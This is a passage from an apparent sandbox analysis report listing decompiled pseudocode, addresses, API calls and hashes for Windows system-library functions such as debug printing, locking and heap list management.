						 *( *(_t106 + 0x30) ^  *0x6aa06110 ^ _t106)();
						 *(_t155 + 0xc) =  *(_t155 + 0xc) &  !_v60;
						_t54 = _t155 + 8;
						 *_t54 =  *(_t155 + 8) &  !_v64;
						__eflags =  *_t54;
						goto L18;
					} else {
						 *0x6aa0b1e0();
						_t164 =  *( *(_t106 + 0x2c) ^  *0x6aa06110 ^ _t106)();
						__eflags = _t164;
						if(_t164 >= 0) {
							 *(_t155 + 8) =  *(_t155 + 8) | _v64;
							 *(_t155 + 0xc) =  *(_t155 + 0xc) | _v60;
							L18:
							asm("lock xadd [eax], ecx");
							_t164 = 0;
							__eflags = 0;
						}
					}
					E6A92FFB0(_t106, _t155, _v56);
					_pop(_t156);
					_pop(_t165);
					_pop(_t107);
					__eflags = _v48 ^ _t174;
					return E6A95B640(_t164, _t107, _v48 ^ _t174, 0, _t156, _t165);
				} else {
					_t94 = _t141 ^ _t160;
					 *_t141 = _t94;
					 *(_t160 + 4) = _t94;
					_t145 =  !( *(__edx + 8));
					_t146 = _t145 >> 8;
					_v12 = _t146 >> 8;
					_v5 =  *((intOrPtr*)((_t145 & 0x000000ff) + 0x6a8fac00)) +  *((intOrPtr*)((_t146 & 0x000000ff) + 0x6a8fac00));
					asm("lock xadd [eax], edx");
					return __ecx + 0x18;
				}
			}

0x6a9e2efc
0x6a9e2efd
0x6a9e2eff
0x6a9e2f03
0x6a9e2f0a
0x6a9e2f0c
0x6a9e2f15
0x6a9e2fba
0x6a9e2fbb
0x6a9e2fc5
0x6a9e2fcd
0x6a9e2fcf
0x6a9e2fd3
0x6a9e2fd4
0x6a9e2fd5
0x6a9e2fd7
0x6a9e2fda
0x6a9e2fdb
0x6a9e2fdd
0x6a9e2fe0
0x6a9e2fe2
0x6a9e2ffc
0x6a9e2fe4
0x6a9e2fe4
0x6a9e2fea
0x6a9e2fed
0x6a9e2fef
0x6a9e2ff6
0x6a9e2ff1
0x6a9e2ff1
0x6a9e2ff1
0x6a9e2fef
0x6a9e2fff
0x6a9e3001
0x6a9e301b
0x6a9e3003
0x6a9e3003
0x6a9e300e
0x6a9e3015
0x6a9e3010
0x6a9e3010
0x6a9e3010
0x6a9e3010
0x6a9e300e
0x6a9e302c
0x6a9e3035
0x6a9e303c
0x6a9e3046
0x6a9e304e
0x6a9e3056
0x6a9e305a
0x6a9e305e
0x6a9e3063
0x6a9e3067
0x6a9e306b
0x6a9e306f
0x6a9e3072
0x6a9e30af
0x6a9e30b5
0x6a9e30c1
0x6a9e30c9
0x6a9e30c9
0x6a9e30c9
0x00000000
0x6a9e3074
0x6a9e3081
0x6a9e3089
0x6a9e308b
0x6a9e308d
0x6a9e3093
0x6a9e309a
0x6a9e30ce
0x6a9e30d1
0x6a9e30d5
0x6a9e30d5
0x6a9e30d5
0x6a9e308d
0x6a9e30db
0x6a9e30e6
0x6a9e30e7
0x6a9e30e8
0x6a9e30e9
0x6a9e30f3
0x6a9e2f27
0x6a9e2f29
0x6a9e2f2b
0x6a9e2f2d
0x6a9e2f36
0x6a9e2f3d
0x6a9e2f4c
0x6a9e2f58
0x6a9e2fad
0x6a9e2fb7
0x6a9e2fb7

APIs

_allshl.1105(?,00000000,00000000,00000000,?,?,?,?,6A9DB632,?,00000000), ref: 6A9E303C
_allshl.1105(?,00000000,00000000,00000000,?,?,?,?,6A9DB632,?,00000000), ref: 6A9E3049
RtlAcquireSRWLockExclusive.1105(?,?,00000000,00000000,00000000,?,?,?,?,6A9DB632,?,00000000), ref: 6A9E305E
RtlDebugPrintTimes.1105(?,?,?,?,?,00000000,00000000,00000000,?,?,?), ref: 6A9E3081
RtlDebugPrintTimes.1105(?,?,?,?,?,00000000,00000000,00000000,?,?,?), ref: 6A9E30AF
RtlReleaseSRWLockExclusive.1105(?), ref: 6A9E30DB

Memory Dump Source

Source File: 0000001D.00000002.423561316.000000006A8F1000.00000020.00020000.sdmp, Offset: 6A8F0000, based on PE: true

Associated: 0000001D.00000002.423252464.000000006A8F0000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.435228307.000000006AA05000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.435264913.000000006AA0B000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.435292089.000000006AA0F000.00000002.00020000.sdmp Download File

Similarity

API ID: DebugExclusiveLockPrintTimes_allshl$AcquireRelease
String ID:
API String ID: 4236268356-0
Opcode ID: 91a19aef89726edcc383d403f76e2ee0e0e71d2a0cdf7253cc3db3d3d2f5f68d
Instruction ID: 2c58d136b8c9fd7a46d6d967bc4e51d675be63fa74ee3e1915ca7943b33a4b49
Opcode Fuzzy Hash: 91a19aef89726edcc383d403f76e2ee0e0e71d2a0cdf7253cc3db3d3d2f5f68d
Instruction Fuzzy Hash: 015108326042158FC705CF2AC89156BFBE5FF89325B16866AE894DB286DF34DC16CBD0

Uniqueness

Uniqueness Score: -1.00%

Function 6A91B171, Relevance: 9.2, APIs: 6, Instructions: 166
nativeCOMMON

Download Yara Rule

C-Code - Quality: 78%

			E6A91B171(signed short __ebx, void* __ecx, void* __edx, void* __edi, signed short __esi, void* __eflags) {
				signed int _t65;
				signed short _t69;
				intOrPtr _t70;
				signed short _t85;
				int _t86;
				signed short _t89;
				signed short _t91;
				intOrPtr _t92;
				intOrPtr _t97;
				void* _t98;
				signed short _t99;
				signed short _t101;
				void* _t102;
				char* _t103;
				signed short _t104;
				void* _t106;
				void* _t110;
				int _t111;
				void* _t114;
				void* _t115;

				_t109 = __esi;
				_t108 = __edi;
				_t106 = __edx;
				_t95 = __ebx;
				_push(0x90);
				_push(0x6a9ef7a8);
				E6A96D0E8(__ebx, __edi, __esi);
				 *((intOrPtr*)(_t114 - 0x9c)) = __edx;
				 *(_t114 - 0x84) = __ecx;
				 *((intOrPtr*)(_t114 - 0x8c)) =  *((intOrPtr*)(_t114 + 0xc));
				 *((intOrPtr*)(_t114 - 0x88)) =  *((intOrPtr*)(_t114 + 0x10));
				 *((intOrPtr*)(_t114 - 0x78)) =  *[fs:0x18];
				if(__edx == 0xffffffff) {
					L6:
					_t97 =  *((intOrPtr*)(_t114 - 0x78));
					_t65 =  *(_t97 + 0xfca) & 0x0000ffff;
					__eflags = _t65 & 0x00000002;
					if((_t65 & 0x00000002) != 0) {
						L3:
						L4:
						return E6A96D130(_t95, _t108, _t109);
					}
					 *(_t97 + 0xfca) = _t65 | 0x00000002;
					_t108 = 0;
					_t109 = 0;
					_t95 = 0;
					__eflags = 0;
					while(1) {
						__eflags = _t95 - 0x200;
						if(_t95 >= 0x200) {
							break;
						}
						E6A95D000(0x80);
						 *(_t114 - 0x18) = _t115;
						_t108 = _t115;
						_t95 = _t95 - 0xffffff80;
						_t17 = _t114 - 4;
						 *_t17 =  *(_t114 - 4) & 0x00000000;
						__eflags =  *_t17;
						_t106 =  *(_t114 - 0x84);
						_t110 = _t106;
						_t102 = _t110 + 1;
						do {
							_t85 =  *_t110;
							_t110 = _t110 + 1;
							__eflags = _t85;
						} while (_t85 != 0);
						_t111 = _t110 - _t102;
						_t21 = _t95 - 1; // -129
						_t86 = _t21;
						__eflags = _t111 - _t86;
						if(_t111 > _t86) {
							_t111 = _t86;
						}
						memcpy(_t108, _t106, _t111);
						_t115 = _t115 + 0xc;
						_t103 = _t108 + _t111;
						 *((intOrPtr*)(_t114 - 0x80)) = _t103;
						_t89 = _t95 - _t111;
						__eflags = _t89;
						_push(0);
						if(_t89 == 0) {
							L15:
							_t109 = 0xc000000d;
							goto L16;
						} else {
							__eflags = _t89 - 0x7fffffff;
							if(_t89 <= 0x7fffffff) {
								L16:
								 *(_t114 - 0x94) = _t109;
								__eflags = _t109;
								if(_t109 < 0) {
									__eflags = _t89;
									if(_t89 != 0) {
										 *_t103 = 0;
									}
									L26:
									 *(_t114 - 0xa0) = _t109;
									 *(_t114 - 4) = 0xfffffffe;
									__eflags = _t109;
									if(_t109 >= 0) {
										L31:
										_t98 = _t108;
										_t39 = _t98 + 1; // 0x1
										_t106 = _t39;
										do {
											_t69 =  *_t98;
											_t98 = _t98 + 1;
											__eflags = _t69;
										} while (_t69 != 0);
										_t99 = _t98 - _t106;
										__eflags = _t99;
										L34:
										_t70 =  *[fs:0x30];
										__eflags =  *((char*)(_t70 + 2));
										if( *((char*)(_t70 + 2)) != 0) {
											L40:
											 *((intOrPtr*)(_t114 - 0x74)) = 0x40010006;
											 *(_t114 - 0x6c) =  *(_t114 - 0x6c) & 0x00000000;
											 *((intOrPtr*)(_t114 - 0x64)) = 2;
											 *(_t114 - 0x70) =  *(_t114 - 0x70) & 0x00000000;
											 *((intOrPtr*)(_t114 - 0x60)) = (_t99 & 0x0000ffff) + 1;
											 *(_t114 - 0x5c) = _t108;
											 *(_t114 - 4) = 1;
											_push(_t114 - 0x74);
											E6A96DEF0(_t99, _t106);
											 *(_t114 - 4) = 0xfffffffe;
											 *( *((intOrPtr*)(_t114 - 0x78)) + 0xfca) =  *( *((intOrPtr*)(_t114 - 0x78)) + 0xfca) & 0x0000fffd;
											goto L3;
										}
										__eflags = ( *0x7ffe02d4 & 0x00000003) - 3;
										if(( *0x7ffe02d4 & 0x00000003) != 3) {
											goto L40;
										}
										_push( *((intOrPtr*)(_t114 + 8)));
										_push( *((intOrPtr*)(_t114 - 0x9c)));
										_push(_t99 & 0x0000ffff);
										_push(_t108);
										_push(1);
										_t101 = E6A95B280();
										__eflags =  *((char*)(_t114 + 0x14)) - 1;
										if( *((char*)(_t114 + 0x14)) == 1) {
											__eflags = _t101 - 0x80000003;
											if(_t101 == 0x80000003) {
												E6A95B7E0(1);
												_t101 = 0;
												__eflags = 0;
											}
										}
										 *( *((intOrPtr*)(_t114 - 0x78)) + 0xfca) =  *( *((intOrPtr*)(_t114 - 0x78)) + 0xfca) & 0x0000fffd;
										goto L4;
									}
									__eflags = _t109 - 0x80000005;
									if(_t109 == 0x80000005) {
										continue;
									}
									break;
								}
								 *(_t114 - 0x90) = 0;
								 *((intOrPtr*)(_t114 - 0x7c)) = _t89 - 1;
								_t91 = E6A95E2D0(_t103, _t89 - 1,  *((intOrPtr*)(_t114 - 0x8c)),  *((intOrPtr*)(_t114 - 0x88)));
								_t115 = _t115 + 0x10;
								_t104 = _t91;
								_t92 =  *((intOrPtr*)(_t114 - 0x7c));
								__eflags = _t104;
								if(_t104 < 0) {
									L21:
									_t109 = 0x80000005;
									 *(_t114 - 0x90) = 0x80000005;
									L22:
									 *((char*)(_t92 +  *((intOrPtr*)(_t114 - 0x80)))) = 0;
									L23:
									 *(_t114 - 0x94) = _t109;
									goto L26;
								}
								__eflags = _t104 - _t92;
								if(__eflags > 0) {
									goto L21;
								}
								if(__eflags == 0) {
									goto L22;
								}
								goto L23;
							}
							goto L15;
						}
					}
					__eflags = _t109;
					if(_t109 >= 0) {
						goto L31;
					}
					__eflags = _t109 - 0x80000005;
					if(_t109 != 0x80000005) {
						goto L31;
					}
					 *((short*)(_t95 + _t108 - 2)) = 0xa;
					_t38 = _t95 - 1; // -129
					_t99 = _t38;
					goto L34;
				}
				if( *((char*)( *[fs:0x30] + 2)) != 0) {
					__eflags = __edx - 0x65;
					if(__edx != 0x65) {
						goto L2;
					}
					goto L6;
				}
				L2:
				_push( *((intOrPtr*)(_t114 + 8)));
				_push(_t106);
				if(E6A95A890() != 0) {
					goto L6;
				}
				goto L3;
			}

0x6a91b171
0x6a91b171
0x6a91b171
0x6a91b171
0x6a91b171
0x6a91b176
0x6a91b17b
0x6a91b180
0x6a91b186
0x6a91b18f
0x6a91b198
0x6a91b1a4
0x6a91b1aa
0x6a974802
0x6a974802
0x6a974805
0x6a97480c
0x6a97480e
0x6a91b1d1
0x6a91b1d3
0x6a91b1de
0x6a91b1de
0x6a974817
0x6a97481e
0x6a974820
0x6a974822
0x6a974822
0x6a974824
0x6a974824
0x6a97482a
0x00000000
0x00000000
0x6a974835
0x6a97483a
0x6a97483d
0x6a97483f
0x6a974842
0x6a974842
0x6a974842
0x6a974846
0x6a97484c
0x6a97484e
0x6a974851
0x6a974851
0x6a974853
0x6a974854
0x6a974854
0x6a974858
0x6a97485a
0x6a97485a
0x6a97485d
0x6a97485f
0x6a974861
0x6a974861
0x6a974866
0x6a97486b
0x6a97486e
0x6a974871
0x6a974876
0x6a974876
0x6a974878
0x6a97487b
0x6a974884
0x6a974884
0x00000000
0x6a97487d
0x6a97487d
0x6a974882
0x6a974889
0x6a974889
0x6a97488f
0x6a974891
0x6a9748e0
0x6a9748e2
0x6a9748e4
0x6a9748e4
0x6a9748e7
0x6a9748e7
0x6a9748ed
0x6a9748f4
0x6a9748f6
0x6a974951
0x6a974951
0x6a974953
0x6a974953
0x6a974956
0x6a974956
0x6a974958
0x6a974959
0x6a974959
0x6a97495d
0x6a97495d
0x6a97495f
0x6a97495f
0x6a974965
0x6a974969
0x6a9749ba
0x6a9749ba
0x6a9749c1
0x6a9749c5
0x6a9749cc
0x6a9749d4
0x6a9749d7
0x6a9749da
0x6a9749e4
0x6a9749e5
0x6a9749f3
0x6a974a02
0x00000000
0x6a974a02
0x6a974972
0x6a974974
0x00000000
0x00000000
0x6a974976
0x6a974979
0x6a974982
0x6a974983
0x6a974984
0x6a97498b
0x6a97498d
0x6a974991
0x6a974993
0x6a974999
0x6a97499d
0x6a9749a2
0x6a9749a2
0x6a9749a2
0x6a974999
0x6a9749ac
0x00000000
0x6a9749b3
0x6a9748f8
0x6a9748fe
0x00000000
0x00000000
0x00000000
0x6a9748fe
0x6a974895
0x6a97489c
0x6a9748ad
0x6a9748b2
0x6a9748b5
0x6a9748b7
0x6a9748ba
0x6a9748bc
0x6a9748c6
0x6a9748c6
0x6a9748cb
0x6a9748d1
0x6a9748d4
0x6a9748d8
0x6a9748d8
0x00000000
0x6a9748d8
0x6a9748be
0x6a9748c0
0x00000000
0x00000000
0x6a9748c2
0x00000000
0x00000000
0x00000000
0x6a9748c4
0x00000000
0x6a974882
0x6a97487b
0x6a974904
0x6a974906
0x00000000
0x00000000
0x6a974908
0x6a97490e
0x00000000
0x00000000
0x6a974910
0x6a974917
0x6a974917
0x00000000
0x6a974917
0x6a91b1ba
0x6a9747f9
0x6a9747fc
0x00000000
0x00000000
0x00000000
0x6a9747fc
0x6a91b1c0
0x6a91b1c0
0x6a91b1c3
0x6a91b1cb
0x00000000
0x00000000
0x00000000

APIs

ZwQueryDebugFilterState.1105(?,6A95B627,6A9EF7A8,00000090,6A91B16E,00000003,6A95B627,0000000A,00000001,00000000,0000000A,6A95B627,Invalid parameter passed to C runtime function.), ref: 6A91B1C4
_alloca_probe_16.1105(6A9EF7A8,00000090,6A91B16E,00000003,6A95B627,0000000A,00000001,00000000,0000000A,6A95B627,Invalid parameter passed to C runtime function.), ref: 6A974835
memcpy.1105(?,?,?,6A9EF7A8,00000090,6A91B16E,00000003,6A95B627,0000000A,00000001,00000000,0000000A,6A95B627), ref: 6A974866
_vsnprintf.1105(?,-00000081,?,?,0000000A,6A95B627), ref: 6A9748AD
ZwWow64DebuggerCall.1105(00000001,00000000,7FFE02D4,?,6A95B627,6A9EF7A8,00000090,6A91B16E,00000003,6A95B627,0000000A,00000001,00000000,0000000A,6A95B627,Invalid parameter passed to C runtime function.), ref: 6A974986

Memory Dump Source

Source File: 0000001D.00000002.423561316.000000006A8F1000.00000020.00020000.sdmp, Offset: 6A8F0000, based on PE: true

Associated: 0000001D.00000002.423252464.000000006A8F0000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.435228307.000000006AA05000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.435264913.000000006AA0B000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.435292089.000000006AA0F000.00000002.00020000.sdmp Download File

Similarity

API ID: CallDebugDebuggerFilterQueryStateWow64_alloca_probe_16_vsnprintfmemcpy
String ID:
API String ID: 1346858437-0
Opcode ID: fb85bbddc0a0c74ec9bc672c0cafbc4d1eb609c632de85af5427c36373abe620
Instruction ID: 130bdf5603ac6a3ce4a15ea3d0bdf48f79d5fec9640490c3755417fdb6f6857f
Opcode Fuzzy Hash: fb85bbddc0a0c74ec9bc672c0cafbc4d1eb609c632de85af5427c36373abe620
Instruction Fuzzy Hash: 9A51E271D042598FDB31CF64C845BAEBBB5BF45714F3181A9D8689B283DB30C9418FA1

Uniqueness

Uniqueness Score: -1.00%

Function 6A9E740D, Relevance: 9.1, APIs: 6, Instructions: 141
memoryCOMMON

Download Yara Rule

C-Code - Quality: 84%

			E6A9E740D(intOrPtr __ecx, signed short* __edx, intOrPtr _a4) {
				signed short* _v8;
				intOrPtr _v12;
				intOrPtr _t55;
				void* _t56;
				intOrPtr* _t66;
				intOrPtr* _t69;
				void* _t74;
				intOrPtr* _t78;
				intOrPtr* _t81;
				intOrPtr* _t82;
				intOrPtr _t83;
				signed short* _t84;
				intOrPtr _t85;
				int _t87;
				intOrPtr* _t90;
				intOrPtr* _t93;
				intOrPtr* _t94;
				void* _t98;

				_t84 = __edx;
				_push(__ecx);
				_push(__ecx);
				_t55 = __ecx;
				_v8 = __edx;
				_t87 =  *__edx & 0x0000ffff;
				_v12 = __ecx;
				_t3 = _t55 + 0x154; // 0x154
				_t93 = _t3;
				_t78 =  *_t93;
				_t4 = _t87 + 2; // 0x2
				_t56 = _t4;
				while(_t78 != _t93) {
					if( *((intOrPtr*)(_t78 + 0x14)) != _t56) {
						L4:
						_t78 =  *_t78;
						continue;
					} else {
						_t7 = _t78 + 0x18; // 0x18
						if(E6A96D4F0(_t7, _t84[2], _t87) == _t87) {
							_t40 = _t78 + 0xc; // 0xc
							_t94 = _t40;
							_t90 =  *_t94;
							while(_t90 != _t94) {
								_t41 = _t90 + 8; // 0x8
								_t74 = E6A95F380(_a4, _t41, 0x10);
								_t98 = _t98 + 0xc;
								if(_t74 != 0) {
									_t90 =  *_t90;
									continue;
								}
								goto L12;
							}
							_t82 = RtlAllocateHeap( *( *[fs:0x30] + 0x18), 8, 0x18);
							if(_t82 != 0) {
								_t46 = _t78 + 0xc; // 0xc
								_t69 = _t46;
								asm("movsd");
								asm("movsd");
								asm("movsd");
								asm("movsd");
								_t85 =  *_t69;
								if( *((intOrPtr*)(_t85 + 4)) != _t69) {
									L20:
									_t82 = 3;
									asm("int 0x29");
								}
								 *((intOrPtr*)(_t82 + 4)) = _t69;
								 *_t82 = _t85;
								 *((intOrPtr*)(_t85 + 4)) = _t82;
								 *_t69 = _t82;
								 *(_t78 + 8) =  *(_t78 + 8) + 1;
								 *(_v12 + 0xdc) =  *(_v12 + 0xdc) | 0x00000010;
								goto L11;
							} else {
								L18:
								_push(0xe);
								_pop(0);
							}
						} else {
							_t84 = _v8;
							_t9 = _t87 + 2; // 0x2
							_t56 = _t9;
							goto L4;
						}
					}
					L12:
					return 0;
				}
				_t10 = _t87 + 0x1a; // 0x1a
				_t78 = RtlAllocateHeap( *( *[fs:0x30] + 0x18), 8, _t10);
				if(_t78 == 0) {
					goto L18;
				} else {
					_t12 = _t87 + 2; // 0x2
					 *((intOrPtr*)(_t78 + 0x14)) = _t12;
					_t16 = _t78 + 0x18; // 0x18
					memcpy(_t16, _v8[2], _t87);
					 *((short*)(_t78 + _t87 + 0x18)) = 0;
					_t19 = _t78 + 0xc; // 0xc
					_t66 = _t19;
					 *((intOrPtr*)(_t66 + 4)) = _t66;
					 *_t66 = _t66;
					 *(_t78 + 8) =  *(_t78 + 8) & 0x00000000;
					_t81 = RtlAllocateHeap( *( *[fs:0x30] + 0x18), 8, 0x18);
					if(_t81 == 0) {
						goto L18;
					} else {
						_t26 = _t78 + 0xc; // 0xc
						_t69 = _t26;
						asm("movsd");
						asm("movsd");
						asm("movsd");
						asm("movsd");
						_t85 =  *_t69;
						if( *((intOrPtr*)(_t85 + 4)) != _t69) {
							goto L20;
						} else {
							 *((intOrPtr*)(_t81 + 4)) = _t69;
							 *_t81 = _t85;
							 *((intOrPtr*)(_t85 + 4)) = _t81;
							 *_t69 = _t81;
							_t83 = _v12;
							 *(_t78 + 8) = 1;
							 *(_t83 + 0xdc) =  *(_t83 + 0xdc) | 0x00000010;
							_t34 = _t83 + 0x154; // 0x1ba
							_t69 = _t34;
							_t85 =  *_t69;
							if( *((intOrPtr*)(_t85 + 4)) != _t69) {
								goto L20;
							} else {
								 *_t78 = _t85;
								 *((intOrPtr*)(_t78 + 4)) = _t69;
								 *((intOrPtr*)(_t85 + 4)) = _t78;
								 *_t69 = _t78;
								 *(_t83 + 0xdc) =  *(_t83 + 0xdc) | 0x00000010;
							}
						}
						goto L11;
					}
				}
				goto L12;
			}

0x6a9e740d
0x6a9e7412
0x6a9e7413
0x6a9e7416
0x6a9e7418
0x6a9e741c
0x6a9e741f
0x6a9e7422
0x6a9e7422
0x6a9e7428
0x6a9e742a
0x6a9e742a
0x6a9e7451
0x6a9e7432
0x6a9e744f
0x6a9e744f
0x00000000
0x6a9e7434
0x6a9e7438
0x6a9e7443
0x6a9e7517
0x6a9e7517
0x6a9e751a
0x6a9e7535
0x6a9e7520
0x6a9e7527
0x6a9e752c
0x6a9e7531
0x6a9e7533
0x00000000
0x6a9e7533
0x00000000
0x6a9e7531
0x6a9e754b
0x6a9e754f
0x6a9e755c
0x6a9e755c
0x6a9e755f
0x6a9e7560
0x6a9e7561
0x6a9e7562
0x6a9e7563
0x6a9e7568
0x6a9e756a
0x6a9e756c
0x6a9e756d
0x6a9e756d
0x6a9e756f
0x6a9e7572
0x6a9e7574
0x6a9e7577
0x6a9e757c
0x6a9e757f
0x00000000
0x6a9e7551
0x6a9e7551
0x6a9e7551
0x6a9e7553
0x6a9e7553
0x6a9e7449
0x6a9e7449
0x6a9e744c
0x6a9e744c
0x00000000
0x6a9e744c
0x6a9e7443
0x6a9e750e
0x6a9e7514
0x6a9e7514
0x6a9e7455
0x6a9e7469
0x6a9e746d
0x00000000
0x6a9e7473
0x6a9e7473
0x6a9e7476
0x6a9e7480
0x6a9e7484
0x6a9e748e
0x6a9e7493
0x6a9e7493
0x6a9e7496
0x6a9e7499
0x6a9e74a1
0x6a9e74b1
0x6a9e74b5
0x00000000
0x6a9e74bb
0x6a9e74c1
0x6a9e74c1
0x6a9e74c4
0x6a9e74c5
0x6a9e74c6
0x6a9e74c7
0x6a9e74c8
0x6a9e74cd
0x00000000
0x6a9e74d3
0x6a9e74d3
0x6a9e74d6
0x6a9e74d8
0x6a9e74db
0x6a9e74dd
0x6a9e74e0
0x6a9e74e7
0x6a9e74ee
0x6a9e74ee
0x6a9e74f4
0x6a9e74f9
0x00000000
0x6a9e74fb
0x6a9e74fb
0x6a9e74fd
0x6a9e7500
0x6a9e7503
0x6a9e7505
0x6a9e7505
0x6a9e74f9
0x00000000
0x6a9e74cd
0x6a9e74b5
0x00000000

APIs

RtlCompareMemory.1105(00000018,?,00000000,00000000,00000000,00000000,00000000,00000000,?,6A9914C4,0000000C,?,?,00000000,00000066,00000000), ref: 6A9E743C
RtlAllocateHeap.1105(?,00000008,0000001A,00000000,00000000,00000000,00000000,00000000,?,6A9914C4,0000000C,?,?,00000000,00000066,00000000), ref: 6A9E7464
memcpy.1105(00000018,?,00000000,?,00000008,0000001A,00000000,00000000,00000000,00000000,00000000,?,6A9914C4,0000000C,?,?), ref: 6A9E7484
RtlAllocateHeap.1105(?,00000008,00000018,00000000,00000066,00000000), ref: 6A9E74AC
memcmp.1105(00000066,00000008,00000010,00000018,?,00000000,00000000,00000000,00000000,00000000,00000000,?,6A9914C4,0000000C,?,?), ref: 6A9E7527
RtlAllocateHeap.1105(?,00000008,00000018,00000000,00000066,00000000), ref: 6A9E7546

Memory Dump Source

Source File: 0000001D.00000002.423561316.000000006A8F1000.00000020.00020000.sdmp, Offset: 6A8F0000, based on PE: true

Associated: 0000001D.00000002.423252464.000000006A8F0000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.435228307.000000006AA05000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.435264913.000000006AA0B000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.435292089.000000006AA0F000.00000002.00020000.sdmp Download File

Similarity

API ID: AllocateHeap$CompareMemorymemcmpmemcpy
String ID:
API String ID: 3500240269-0
Opcode ID: 53f0b23cde38d8cbdebcfad0d89ab03898b2aa5ba471344c79297c4b5cd44298
Instruction ID: 3f1ee9581a868882ae63da327912898e8e6b2013c2ae6f9482644ec9c500590f
Opcode Fuzzy Hash: 53f0b23cde38d8cbdebcfad0d89ab03898b2aa5ba471344c79297c4b5cd44298
Instruction Fuzzy Hash: EC516D71640606EFDB16CF58C480A46BBF9FF45309F2581AAE9089F253EB71E945CB90

Uniqueness

Uniqueness Score: -1.00%

Function 6A920100, Relevance: 9.1, APIs: 6, Instructions: 122
nativeCOMMON

Download Yara Rule

C-Code - Quality: 77%

			E6A920100(void* __ebx, void* __ecx, void* __edi, void* __esi, void* __eflags) {
				void* _t37;
				char _t38;
				void* _t42;
				signed int* _t43;
				signed int _t44;
				signed int _t49;
				char _t59;
				intOrPtr* _t61;
				void* _t62;
				signed int _t65;
				intOrPtr _t67;
				signed int _t70;
				signed int _t72;
				void* _t73;

				_push(0x1c);
				_push(0x6a9ef848);
				_t37 = E6A96D08C(__ebx, __edi, __esi);
				_t59 = 0;
				 *((char*)(_t73 - 0x19)) = 0;
				if( *((intOrPtr*)(_t73 + 8)) == 0) {
					_t38 = 0;
					L7:
					return E6A96D0D1(_t38);
				}
				E6A932280(_t37, 0x6aa0861c);
				 *(_t73 - 4) =  *(_t73 - 4) & 0x00000000;
				_t72 =  *0x6aa06da4;
				if(_t72 == 0) {
					_t59 = 1;
					L26:
					 *((char*)(_t73 - 0x19)) = _t59;
					L6:
					 *(_t73 - 4) = 0xfffffffe;
					E6A92021A();
					_t38 = _t59;
					goto L7;
				}
				_t70 = _t72;
				 *(_t73 - 0x24) = _t70;
				_t42 =  *0x6aa06da0;
				 *(_t73 - 0x20) = _t42;
				while(_t70 > 0) {
					_t65 = _t70 << 5;
					if( *((intOrPtr*)(_t65 + _t42 - 0x1c)) ==  *((intOrPtr*)(_t73 + 8))) {
						_t61 = _t42 - 0x20 + _t65;
						 *((intOrPtr*)(_t73 - 0x28)) = _t61;
						_t14 = _t61 + 0x10; // 0x10f
						_t43 = _t14;
						 *(_t73 - 0x2c) = _t43;
						_t44 =  *_t43;
						if(_t44 == 0) {
							L21:
							_t62 =  *(_t73 - 0x20);
							L16:
							if(_t70 != _t72) {
								E6A919FF0(_t70 - 1);
							}
							_t72 = _t72 - 1;
							 *0x6aa06da4 = _t72;
							if(_t72 == 0) {
								RtlFreeHeap( *( *[fs:0x30] + 0x18), 0, _t62);
								_t42 = 0;
								 *(_t73 - 0x20) = 0;
								 *0x6aa06da0 = 0;
								 *0x6aa06da8 =  *0x6aa06da8 & 0;
								L32:
								_t70 =  *(_t73 - 0x24);
								_t72 =  *0x6aa06da4;
								L20:
								_t59 = 1;
								 *((char*)(_t73 - 0x19)) = 1;
								goto L5;
							}
							_t49 =  *0x6aa06da8 + 0xffffffe0;
							if(_t72 < _t49) {
								_t42 = RtlReAllocateHeap( *( *[fs:0x30] + 0x18), 0, _t62, _t49 << 5);
								 *(_t73 - 0x20) = _t42;
								if(_t42 != 0) {
									 *0x6aa06da0 = _t42;
									 *0x6aa06da8 =  *0x6aa06da8 - 0x20;
									goto L32;
								}
								_t59 = 0;
								goto L26;
							}
							_t42 =  *(_t73 - 0x20);
							goto L20;
						}
						_t67 =  *((intOrPtr*)(_t73 + 0xc));
						if(_t67 != 0) {
							if(_t67 !=  *_t61) {
								goto L21;
							}
						}
						if(_t44 == 0xffffffff) {
							goto L21;
						}
						_push(_t44 & 0xfffffffc);
						if( *((intOrPtr*)(_t61 + 0x1c)) == 0xc0000019) {
							_push(0);
							RtlFreeHeap( *( *[fs:0x30] + 0x18));
							_t70 =  *(_t73 - 0x24);
							_t61 =  *((intOrPtr*)(_t73 - 0x28));
						} else {
							_push(0xffffffff);
							E6A9597A0();
						}
						if( *(_t61 + 0x14) != 0) {
							_push( *(_t61 + 0x14));
							E6A9595D0();
							 *(_t61 + 0x14) =  *(_t61 + 0x14) & 0x00000000;
						}
						 *( *(_t73 - 0x2c)) =  *( *(_t73 - 0x2c)) & 0x00000000;
						_t72 =  *0x6aa06da4;
						_t62 =  *0x6aa06da0;
						 *(_t73 - 0x20) = _t62;
						goto L16;
					}
					L5:
					_t70 = _t70 - 1;
					 *(_t73 - 0x24) = _t70;
				}
				goto L6;
			}

0x6a920100
0x6a920102
0x6a920107
0x6a92010c
0x6a92010e
0x6a920115
0x6a976127
0x6a92016a
0x6a92016f
0x6a92016f
0x6a920120
0x6a920125
0x6a920129
0x6a920131
0x6a97612e
0x6a976134
0x6a976134
0x6a92015c
0x6a92015c
0x6a920163
0x6a920168
0x00000000
0x6a920168
0x6a920137
0x6a920139
0x6a92013c
0x6a920141
0x6a920144
0x6a92014a
0x6a920154
0x6a920175
0x6a920177
0x6a92017a
0x6a92017a
0x6a92017d
0x6a920180
0x6a920184
0x6a92020b
0x6a92020b
0x6a9201db
0x6a9201dd
0x6a920213
0x6a920213
0x6a9201df
0x6a9201e2
0x6a9201e8
0x6a976171
0x6a976176
0x6a976178
0x6a97617b
0x6a976180
0x6a976194
0x6a976194
0x6a976197
0x6a920201
0x6a920201
0x6a920203
0x00000000
0x6a920203
0x6a9201f3
0x6a9201f8
0x6a9761b2
0x6a9761b7
0x6a9761bc
0x6a976188
0x6a97618d
0x00000000
0x6a97618d
0x6a976132
0x00000000
0x6a976132
0x6a9201fe
0x00000000
0x6a9201fe
0x6a92018a
0x6a920191
0x6a97613f
0x00000000
0x00000000
0x6a976145
0x6a92019a
0x00000000
0x00000000
0x6a92019f
0x6a9201a7
0x6a97614a
0x6a976155
0x6a97615a
